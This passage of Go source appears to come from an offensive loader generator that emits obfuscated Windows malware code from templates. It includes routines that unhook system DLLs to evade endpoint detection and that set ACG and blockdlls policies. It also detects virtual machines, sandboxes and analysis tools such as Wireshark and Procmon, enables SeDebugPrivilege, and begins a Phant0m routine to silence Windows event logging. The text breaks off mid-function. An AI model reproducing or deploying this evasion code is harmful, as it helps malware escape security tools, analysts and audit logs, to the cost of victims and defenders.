Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["TerminateProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["hwnd"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["SW_HIDE"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["si"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pi"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["cmd"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pHandle"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["file"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["x"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["size"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll_handle"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll_base"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll_offset"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["data"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["nbr"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll_bytes"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll_offset"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["nLength"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
unhook_func = `
func {{.Vars.unhook_func}}({{.Vars.dlls_to_unhook}} []string) error {
`
if (hashing) {
unhook_func = unhook_func + `
{{.Vars.ShowWindow}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ShowWindow", rand_num)) + `, ` + ObfuscateStr("user32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.GetConsoleWindow}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetConsoleWindow", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.CreateProcessW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateProcessW", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.TerminateProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("TerminateProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
unhook_func = unhook_func + `
{{.Vars.ShowWindow}} := windows.NewLazyDLL(` + ObfuscateStr("user32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("ShowWindow", str_obfs) + `)
{{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
{{.Vars.GetConsoleWindow}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetConsoleWindow", str_obfs) + `)
{{.Vars.CreateProcessW}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateProcessW", str_obfs) + `)
{{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `)
{{.Vars.WriteProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `)
{{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `)
{{.Vars.TerminateProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("TerminateProcess", str_obfs) + `)
`
}
unhook_func = unhook_func + `
{{.Vars.hwnd}}, _, {{.Vars.err}} := {{.Vars.GetConsoleWindow}}.Call()
if {{.Vars.hwnd}} == 0 {
return {{.Vars.err}}
}
var {{.Vars.SW_HIDE}} uintptr = 0
{{.Vars.ShowWindow}}.Call({{.Vars.hwnd}}, {{.Vars.SW_HIDE}})
{{.Vars.si}} := &windows.StartupInfo{}
{{.Vars.pi}} := &windows.ProcessInformation{}
{{.Vars.cmd}}, {{.Vars.err}} := windows.UTF16PtrFromString(` + ObfuscateStr(process, str_obfs) + `)
if {{.Vars.err}} != nil {
return {{.Vars.err}}
}
{{.Vars.CreateProcessW}}.Call(0, uintptr(unsafe.Pointer({{.Vars.cmd}})), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer({{.Vars.si}})), uintptr(unsafe.Pointer({{.Vars.pi}})))
{{.Vars.pHandle}}, _, _ := {{.Vars.GetCurrentProcess}}.Call()
time.Sleep(5 * time.Second)
for _, {{.Vars.dll_to_unhook}} := range {{.Vars.dlls_to_unhook}} {
if (!strings.HasPrefix({{.Vars.dll_to_unhook}}, "C:\\")) {
{{.Vars.dll_to_unhook}} = "C:\\Windows\\System32\\" + {{.Vars.dll_to_unhook}}
}
{{.Vars.file}}, {{.Vars.err}} := pe.Open({{.Vars.dll_to_unhook}})
if {{.Vars.err}} != nil {
return {{.Vars.err}}
}
{{.Vars.x}} := {{.Vars.file}}.Section(` + ObfuscateStr(".text", str_obfs) + `)
{{.Vars.size}} := {{.Vars.x}}.Size
{{.Vars.dll}}, {{.Vars.err}} := windows.LoadDLL({{.Vars.dll_to_unhook}})
if {{.Vars.err}} != nil {
return {{.Vars.err}}
}
{{.Vars.dll_handle}} := {{.Vars.dll}}.Handle
{{.Vars.dll_base}} := uintptr({{.Vars.dll_handle}})
{{.Vars.dll_offset}} := uint({{.Vars.dll_base}}) + uint({{.Vars.x}}.VirtualAddress)
var {{.Vars.data}} = make([]byte, {{.Vars.size}})
var {{.Vars.nbr}} uintptr = 0
{{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.dll_offset}}), uintptr(unsafe.Pointer(&{{.Vars.data}}[0])), uintptr({{.Vars.size}}), uintptr(unsafe.Pointer(&{{.Vars.nbr}})))
if {{.Vars.r1}} == 0 {
return {{.Vars.err}}
}
{{.Vars.ntdll_bytes}} := {{.Vars.data}}
{{.Vars.ntdll_offset}} := {{.Vars.dll_offset}}
var {{.Vars.nLength}} uintptr
{{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.WriteProcessMemory}}.Call({{.Vars.pHandle}}, uintptr({{.Vars.ntdll_offset}}), uintptr(unsafe.Pointer(&{{.Vars.ntdll_bytes}}[0])), uintptr(uint32(len({{.Vars.ntdll_bytes}}))), uintptr(unsafe.Pointer(&{{.Vars.nLength}})))
if {{.Vars.r2}} == 0 {
return {{.Vars.err}}
}
{{.Vars.TerminateProcess}}.Call(uintptr({{.Vars.pi}}.Process), 0)
}
return nil
}
`
}
if (unhook != "") {
// append previous function
functions = utils.AppendString(functions, ParseTemplate(unhook_func, Main))
}
// add ACG Guard function to loader
if (acg) {
if (verbose) {
fmt.Println(" > Adding ACG Guard protection...")
}
time.Sleep(100 * time.Millisecond)
// define variables
Main.Vars["acg_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["SetProcessMitigationPolicy"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ProcessDynamicCodePolicy"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dcp"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ret"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY := `
type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY struct {
ProhibitDynamicCode uint32
}
`
// append needed exports and imports
exports = utils.AppendString(exports, PROCESS_MITIGATION_DYNAMIC_CODE_POLICY)
imports = utils.AppendSlice(imports, []string{"golang.org/x/sys/windows", "unsafe", "errors", "fmt"})
// define code using templates
acg_func := `
func {{.Vars.acg_func}}() error {`
if (hashing) {
acg_func = acg_func + `
{{.Vars.SetProcessMitigationPolicy}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("SetProcessMitigationPolicy", rand_num)) + `, ` + ObfuscateStr("C:\\Windows\\System32\\kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
acg_func = acg_func + `
{{.Vars.SetProcessMitigationPolicy}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("SetProcessMitigationPolicy", str_obfs) + `)
`
}
acg_func = acg_func + `
var {{.Vars.ProcessDynamicCodePolicy}} int32 = 2
var {{.Vars.dcp}} PROCESS_MITIGATION_DYNAMIC_CODE_POLICY
{{.Vars.dcp}}.ProhibitDynamicCode = 1
{{.Vars.ret}}, _, {{.Vars.err}} := {{.Vars.SetProcessMitigationPolicy}}.Call(
uintptr({{.Vars.ProcessDynamicCodePolicy}}),
uintptr(unsafe.Pointer(&{{.Vars.dcp}})),
unsafe.Sizeof({{.Vars.dcp}}),
)
if {{.Vars.ret}} != 1 {
return errors.New(fmt.Sprintf(` + ObfuscateStr("error: %s", str_obfs) + `, {{.Vars.err}}))
}
return nil
}
`
// append previous function
functions = utils.AppendString(functions, ParseTemplate(acg_func, Main))
}
if (blockdlls) {
if (verbose) {
fmt.Println(" > Adding blockdlls function...")
}
time.Sleep(100 * time.Millisecond)
process_mitigation_binary_signature_policy := `
type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
Flags uint32
}
`
Main.Vars["blockdlls_func"] = utils.RandomString(utils.RandomInt(8,9))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["SetProcessMitigationPolicy"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ProcessSignaturePolicy"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["sp"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ret"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
exports = utils.AppendString(exports, process_mitigation_binary_signature_policy)
imports = utils.AppendSlice(imports, []string{"golang.org/x/sys/windows", "unsafe", "errors", "fmt"})
blockdlls_func := `
func {{.Vars.blockdlls_func}}() error {`
if (hashing) {
blockdlls_func = blockdlls_func + `
{{.Vars.SetProcessMitigationPolicy}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("SetProcessMitigationPolicy", rand_num)) + `, ` + ObfuscateStr("C:\\Windows\\System32\\kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
blockdlls_func = blockdlls_func + `
{{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
{{.Vars.SetProcessMitigationPolicy}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("SetProcessMitigationPolicy", str_obfs) + `)
`
}
blockdlls_func = blockdlls_func + `
var {{.Vars.ProcessSignaturePolicy}} uint32 = 8
var {{.Vars.sp}} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
{{.Vars.sp}}.Flags = 0x1
{{.Vars.ret}}, _, {{.Vars.err}} := {{.Vars.SetProcessMitigationPolicy}}.Call(
uintptr({{.Vars.ProcessSignaturePolicy}}),
uintptr(unsafe.Pointer(&{{.Vars.sp}})),
unsafe.Sizeof({{.Vars.sp}}),
)
if {{.Vars.ret}} == 0 {
return errors.New(fmt.Sprintf(` + ObfuscateStr("error: %s", str_obfs) + `, {{.Vars.err}}))
}
return nil
}
`
// append previous function
functions = utils.AppendString(functions, ParseTemplate(blockdlls_func, Main))
}
if (sandbox) {
if (verbose) {
fmt.Println(" > Adding anti-sandboxing techniques...")
}
time.Sleep(100 * time.Millisecond)
Main.Vars["sandbox_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["isProcessRunning"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["client"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["msx"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["process"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["processes"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["processName"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["hSnap"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pe32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ret"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["GlobalMemoryStatusEx"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["CreateToolhelp32Snapshot"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["CloseHandle"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["Process32First"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["Process32NextW"] = utils.RandomString(utils.RandomInt(9,10))
memStatusEx := `
type memStatusEx struct {
dwLength uint32
dwMemoryLoad uint32
ullTotalPhys uint64
ullAvailPhys uint64
ullTotalPageFile uint64
ullAvailPageFile uint64
ullTotalVirtual uint64
ullAvailVirtual uint64
ullAvailExtendedVirtual uint64
}
`
processentry32 := `
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [260]uint16
}
`
processes_list := `
var {{.Vars.processes}} []string = []string{
` + ObfuscateStr("vboxservice.exe", str_obfs) + `,
` + ObfuscateStr("vboxtray.exe", str_obfs) + `,
` + ObfuscateStr("vmtoolsd.exe", str_obfs) + `,
` + ObfuscateStr("vmwaretray.exe", str_obfs) + `,
` + ObfuscateStr("vmware.exe", str_obfs) + `,
` + ObfuscateStr("vmware-vmx.exe", str_obfs) + `,
` + ObfuscateStr("vmwareuser", str_obfs) + `,
` + ObfuscateStr("VGAuthService.exe", str_obfs) + `,
` + ObfuscateStr("vmacthlp.exe", str_obfs) + `,
` + ObfuscateStr("vmsrvc.exe", str_obfs) + `,
` + ObfuscateStr("vmusrvc.exe", str_obfs) + `,
` + ObfuscateStr("xenservice.exe", str_obfs) + `,
` + ObfuscateStr("qemu-ga.exe", str_obfs) + `,
` + ObfuscateStr("wireshark.exe", str_obfs) + `,
` + ObfuscateStr("Procmon.exe", str_obfs) + `,
` + ObfuscateStr("Procmon64.exe", str_obfs) + `,
` + ObfuscateStr("volatily.exe", str_obfs) + `,
` + ObfuscateStr("volatily3.exe", str_obfs) + `,
` + ObfuscateStr("DumpIt.exe", str_obfs) + `,
` + ObfuscateStr("dumpit.exe", str_obfs) + `,
}
`
// append needed imports and exports
imports = utils.AppendSlice(imports, []string{"time", "golang.org/x/sys/windows", "unsafe", "net/http", "runtime", "strings"})
exports = utils.AppendSlice(exports, []string{memStatusEx, processentry32, ParseTemplate(processes_list, Main)})
// define code using templates
sandbox_func := `
func {{.Vars.sandbox_func}}() bool {
if (runtime.NumCPU() <= 2) {
return true
}
{{.Vars.client}} := http.Client{Timeout: 3 * time.Second}
_, {{.Vars.err}} := {{.Vars.client}}.Get(` + ObfuscateStr("https://google.com", str_obfs) + `)
if {{.Vars.err}} != nil {
return true
}
{{.Vars.msx}} := &memStatusEx{dwLength: 64}
`
if (hashing) {
sandbox_func = sandbox_func + `
{{.Vars.GlobalMemoryStatusEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GlobalMemoryStatusEx", rand_num)) + `,` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.r1}}, _, _ := {{.Vars.GlobalMemoryStatusEx}}.Call(uintptr(unsafe.Pointer({{.Vars.msx}})))
`
} else {
sandbox_func = sandbox_func + `
{{.Vars.r1}}, _, _ := windows.MustLoadDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).MustFindProc(` + ObfuscateStr("GlobalMemoryStatusEx", str_obfs) + `).Call(uintptr(unsafe.Pointer({{.Vars.msx}})))
`
}
sandbox_func = sandbox_func + `
if ({{.Vars.r1}} == 0) || ({{.Vars.msx}}.ullTotalPhys < 4174967296) {
return true
}
for _, {{.Vars.process}} := range {{.Vars.processes}} {
if {{.Vars.isProcessRunning}}({{.Vars.process}}) {
return true
}
}
return false
}
`
processes_func := `
func {{.Vars.isProcessRunning}}({{.Vars.processName}} string) bool {`
if (hashing) {
processes_func = processes_func + `
{{.Vars.CreateToolhelp32Snapshot}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateToolhelp32Snapshot", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})`
} else {
processes_func = processes_func + `
{{.Vars.CreateToolhelp32Snapshot}} := windows.MustLoadDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).MustFindProc(` + ObfuscateStr("CreateToolhelp32Snapshot", str_obfs) + `)`
}
processes_func = processes_func + `
{{.Vars.hSnap}}, _, _ := {{.Vars.CreateToolhelp32Snapshot}}.Call(uintptr(0x00000002), 0)
if {{.Vars.hSnap}} == uintptr(^uintptr(0)) {
return false
}
`
if (hashing) {
processes_func = processes_func + `
{{.Vars.CloseHandle}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CloseHandle", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
defer {{.Vars.CloseHandle}}.Call({{.Vars.hSnap}})
`
} else {
processes_func = processes_func + `defer windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("CloseHandle", str_obfs) + `).Call({{.Vars.hSnap}})
`
}
processes_func = processes_func + `
var {{.Vars.pe32}} PROCESSENTRY32
{{.Vars.pe32}}.dwSize = uint32(unsafe.Sizeof({{.Vars.pe32}}))
`
if (hashing) {
processes_func = processes_func + `{{.Vars.Process32First}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Process32First", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.ret}}, _, _ := {{.Vars.Process32First}}.Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}})))
`
} else {
processes_func = processes_func + `{{.Vars.ret}}, _, _ := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("Process32First", str_obfs) + `).Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}})))
`
}
processes_func = processes_func + `
if {{.Vars.ret}} != 0 {
if strings.EqualFold({{.Vars.processName}}, windows.UTF16ToString({{.Vars.pe32}}.szExeFile[:])) {
return true
}
`
if (hashing) {
processes_func = processes_func + `
{{.Vars.Process32NextW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Process32NextW", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.ret}}, _, _ = {{.Vars.Process32NextW}}.Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}})))
}`
} else {
processes_func = processes_func + `
{{.Vars.ret}}, _, _ = windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("Process32NextW", str_obfs) + `).Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}})))
}`
}
processes_func = processes_func + `
return false
}
`
functions = utils.AppendString(functions, ParseTemplate(sandbox_func, Main))
functions = utils.AppendString(functions, ParseTemplate(processes_func, Main))
}
// add Phant0m function to loader
if (phantom) {
if (verbose) {
fmt.Println(" > Adding Phant0m technique to suspend EventLog threads...")
}
time.Sleep(100 * time.Millisecond)
pthread_basic_info_struct := `
type PTHREAD_BASIC_INFORMATION struct {
exitStatus int32
pTebBaseAddress uintptr
clientId CLIENT_ID
AffinityMask uintptr
Priority int
BasePriority int
v int
}
`
sc_service_tag_query_struct := `
type SC_SERVICE_TAG_QUERY struct {
processId uint32
serviceTag uint32
reserved uint32
pBuffer unsafe.Pointer
}
`
client_id_struct := `
type CLIENT_ID struct {
UniqueProcess uintptr
UniqueThread uintptr
}
`
// append needed exports and imports
exports = utils.AppendSlice(exports, []string{pthread_basic_info_struct, sc_service_tag_query_struct, client_id_struct})
imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
Main.Vars["phantom_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["get_eventlog_pid_func"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["elevate_process_token_func"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["SeDebugPrivilege"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["tokenAdjustPrivileges"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["tokenQuery"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["hToken"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["GetLastError"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["OpenProcessToken"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["LookupPrivilegeValue"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["AdjustTokenPrivileges"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["advapi32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["currentProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["result"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["SePrivilegeEnabled"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["tkp"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["OpenSCManager"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["OpenService"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["QueryServiceStatusEx"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ssp"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dwBytesNeeded"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["scm"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["svc"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pid"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtQueryInformationThread"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["I_QueryTagInformation"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["OpenThread"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["OpenProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["TerminateThread"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["CloseHandle"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["CreateToolhelp32Snapshot"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["Thread32First"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["Thread32Next"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["advapi32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["hThreads"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["tbi"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["te32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["hEvtThread"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["hEvtProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["scTagQuery"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["hTag"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pN"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["eventlog_pid"] = utils.RandomString(utils.RandomInt(9,10))
elevate_process_token_func := `
func {{.Vars.elevate_process_token_func}}() error {
type Luid struct {
lowPart uint32
highPart int32
}
type LuidAndAttributes struct {
luid Luid
attributes uint32
}
type TokenPrivileges struct {
privilegeCount uint32
privileges [1]LuidAndAttributes
}
{{.Vars.SeDebugPrivilege}} := ` + ObfuscateStr("SeDebugPrivilege", str_obfs) + `
const {{.Vars.tokenAdjustPrivileges}} = 0x0020
const {{.Vars.tokenQuery}} = 0x0008
var {{.Vars.hToken}} uintptr
`
if (hashing) {
elevate_process_token_func = elevate_process_token_func + `
{{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.GetLastError}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetLastError", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.OpenProcessToken}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenProcessToken", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.LookupPrivilegeValue}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("LookupPrivilegeValueW", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.AdjustTokenPrivileges}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("AdjustTokenPrivileges", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
elevate_process_token_func = elevate_process_token_func + `
{{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
{{.Vars.advapi32}} := windows.NewLazyDLL(` + ObfuscateStr("advapi32.dll", str_obfs) + `)
{{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `)
{{.Vars.GetLastError}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetLastError", str_obfs) + `)
{{.Vars.OpenProcessToken}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("OpenProcessToken", str_obfs) + `)
{{.Vars.LookupPrivilegeValue}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("LookupPrivilegeValueW", str_obfs) + `)
{{.Vars.AdjustTokenPrivileges}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("AdjustTokenPrivileges", str_obfs) + `)
`
}
elevate_process_token_func = elevate_process_token_func + `
{{.Vars.currentProcess}}, _, _ := {{.Vars.GetCurrentProcess}}.Call()
{{.Vars.result}}, _, {{.Vars.err}} := {{.Vars.OpenProcessToken}}.Call({{.Vars.currentProcess}}, {{.Vars.tokenAdjustPrivileges}}|{{.Vars.tokenQuery}}, uintptr(unsafe.Pointer(&{{.Vars.hToken}})))
if {{.Vars.result}} != 1 {
return {{.Vars.err}}
}
var {{.Vars.tkp}} TokenPrivileges
{{.Vars.result}}, _, {{.Vars.err}} = {{.Vars.LookupPrivilegeValue}}.Call(uintptr(0), uintptr(unsafe.Pointer(windows.StringToUTF16Ptr({{.Vars.SeDebugPrivilege}}))), uintptr(unsafe.Pointer(&({{.Vars.tkp}}.privileges[0].luid))))
if {{.Vars.result}} != 1 {
return {{.Vars.err}}
}
const {{.Vars.SePrivilegeEnabled}} uint32 = 0x00000002
{{.Vars.tkp}}.privilegeCount = 1
{{.Vars.tkp}}.privileges[0].attributes = {{.Vars.SePrivilegeEnabled}}
{{.Vars.result}}, _, {{.Vars.err}} = {{.Vars.AdjustTokenPrivileges}}.Call({{.Vars.hToken}}, 0, uintptr(unsafe.Pointer(&{{.Vars.tkp}})), 0, uintptr(0), 0)
if {{.Vars.result}} != 1 {
return {{.Vars.err}}
}
{{.Vars.result}}, _, _ = {{.Vars.GetLastError}}.Call()
if {{.Vars.result}} != 0 {
return {{.Vars.err}}
}
return nil
}
`
event_log_pid_func := `
func {{.Vars.get_eventlog_pid_func}}() (uint32, error) {
`
if (hashing) {
event_log_pid_func = event_log_pid_func + `
